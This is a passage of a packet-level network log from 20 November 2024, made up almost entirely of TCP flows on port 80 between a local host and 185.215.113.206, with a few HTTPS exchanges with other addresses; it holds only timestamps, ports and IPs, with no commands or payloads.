Nov 20, 2024 08:09:22.964694977 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.964705944 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.964709997 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.964750051 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.964750051 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.964802027 CET	49822	443	192.168.2.5	52.159.108.190
Nov 20, 2024 08:09:22.964826107 CET	443	49822	52.159.108.190	192.168.2.5
Nov 20, 2024 08:09:22.964839935 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.964853048 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.964865923 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.964875937 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.964876890 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.964894056 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.964895964 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.964931965 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.964975119 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.964986086 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.964997053 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.965027094 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.965043068 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.965118885 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.965131998 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.965142965 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.965174913 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.965197086 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.008055925 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.008212090 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.008222103 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.008233070 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.008246899 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.008256912 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.008270025 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.008285999 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.008352041 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.008392096 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.008450031 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.008461952 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.008486986 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.008503914 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.008583069 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.008594990 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.008630037 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.008635998 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.008646965 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.008657932 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.008670092 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.008712053 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.008793116 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.008804083 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.008815050 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.008832932 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.008858919 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.008874893 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.008985043 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.009020090 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.009035110 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.009044886 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.009072065 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.009088993 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.009200096 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.009212017 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.009222031 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.009234905 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.009246111 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.009257078 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.009277105 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.009287119 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.009294987 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.009322882 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.009356022 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.009367943 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.009377956 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.009393930 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.009409904 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.009463072 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.009499073 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.009516954 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.009527922 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.009548903 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.009567976 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.009634972 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.009648085 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.009664059 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.009675026 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.009681940 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.009757996 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.009757996 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.009821892 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.009831905 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.009855032 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.009871960 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.009936094 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.009947062 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.009958029 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.009979963 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.010005951 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.010077953 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.010090113 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.010128021 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.010153055 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.010164022 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.010174990 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.010185957 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.010207891 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.010293961 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.010303974 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.010313988 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.010346889 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.010375023 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.013315916 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.013348103 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.013367891 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.013401985 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.013431072 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.013442039 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.013453007 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.013463020 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.013469934 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.013493061 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.013523102 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.013595104 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.013607025 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.013617039 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.013632059 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.013637066 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.013648033 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.013664007 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.013688087 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.013720036 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.013756037 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.013833046 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.013844013 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.013855934 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.013868093 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.013879061 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.013967037 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.013994932 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.014023066 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.014034033 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.014034986 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.014074087 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.014148951 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.014159918 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.014169931 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.014182091 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.014194965 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.014210939 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.014235973 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.014255047 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.014267921 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.014290094 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.014311075 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.014372110 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.014384031 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.014394999 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.014425039 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.014450073 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.014554024 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.014564991 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.014575958 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.014588118 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.014594078 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.014600992 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.014624119 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.014646053 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.014705896 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.014760017 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.014770985 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.014796972 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.014812946 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.014889002 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.014900923 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.014911890 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.014924049 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.014928102 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.014945984 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.014961958 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.015037060 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.015048981 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.015075922 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.015100956 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.015191078 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.015202999 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.015213966 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.015224934 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.015230894 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.015237093 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.015247107 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.015249968 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.015276909 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.015302896 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.050925016 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.050936937 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.050951004 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.051001072 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.051031113 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.051043987 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.051055908 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.051067114 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.051078081 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.051096916 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.051203966 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.051454067 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.051471949 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.051482916 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.051490068 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.051496029 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.051505089 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.051511049 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.051537991 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.051590919 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.051593065 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.051603079 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.051615000 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.051625967 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.051635981 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.051636934 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.051650047 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.051656008 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.051656961 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.051670074 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.051686049 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.051702976 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.051948071 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.051959991 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.051985979 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.052015066 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.076788902 CET	443	49814	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:23.078077078 CET	49814	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:23.078109026 CET	443	49814	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:23.080748081 CET	49814	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:23.080756903 CET	443	49814	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:23.083468914 CET	443	49813	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:23.084346056 CET	49813	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:23.084386110 CET	443	49813	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:23.084815979 CET	49813	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:23.084822893 CET	443	49813	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:23.094244003 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.094290018 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.094304085 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.094311953 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.094364882 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.094364882 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.094377041 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.094448090 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.094460011 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.094471931 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.094480991 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.094486952 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.094531059 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.094572067 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.094608068 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.094647884 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.094661951 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.094682932 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.094697952 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.094783068 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.094795942 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.094806910 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.094819069 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.094821930 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.094820976 CET	443	49816	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:23.094831944 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.094835043 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.094858885 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.094902992 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.095280886 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.095330000 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.095349073 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.095360041 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.095396042 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.095439911 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.095449924 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.095462084 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.095473051 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.095484972 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.095490932 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.095520973 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.095582962 CET	49816	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:23.095618963 CET	443	49816	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:23.095674992 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.095686913 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.095696926 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.095710039 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.095711946 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.095758915 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.095850945 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.095860958 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.095871925 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.095882893 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.095894098 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.095896006 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.095923901 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.095938921 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.096096992 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.096107960 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.096118927 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.096128941 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.096137047 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.096141100 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.096153021 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.096153021 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.096164942 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.096175909 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.096182108 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.096189022 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.096198082 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.096224070 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.096404076 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.096415997 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.096427917 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.096436977 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.096452951 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.096477985 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.096628904 CET	49816	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:23.096640110 CET	443	49816	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:23.096667051 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.096678019 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.096688032 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.096698999 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.096703053 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.096712112 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.096723080 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.096724987 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.096738100 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.096748114 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.096759081 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.096770048 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.096781015 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.096795082 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.097153902 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.097153902 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.097153902 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.097153902 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.097153902 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.097264051 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.097276926 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.097286940 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.097300053 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.097310066 CET	80	49765	185.215.113.206	192.168.2.5
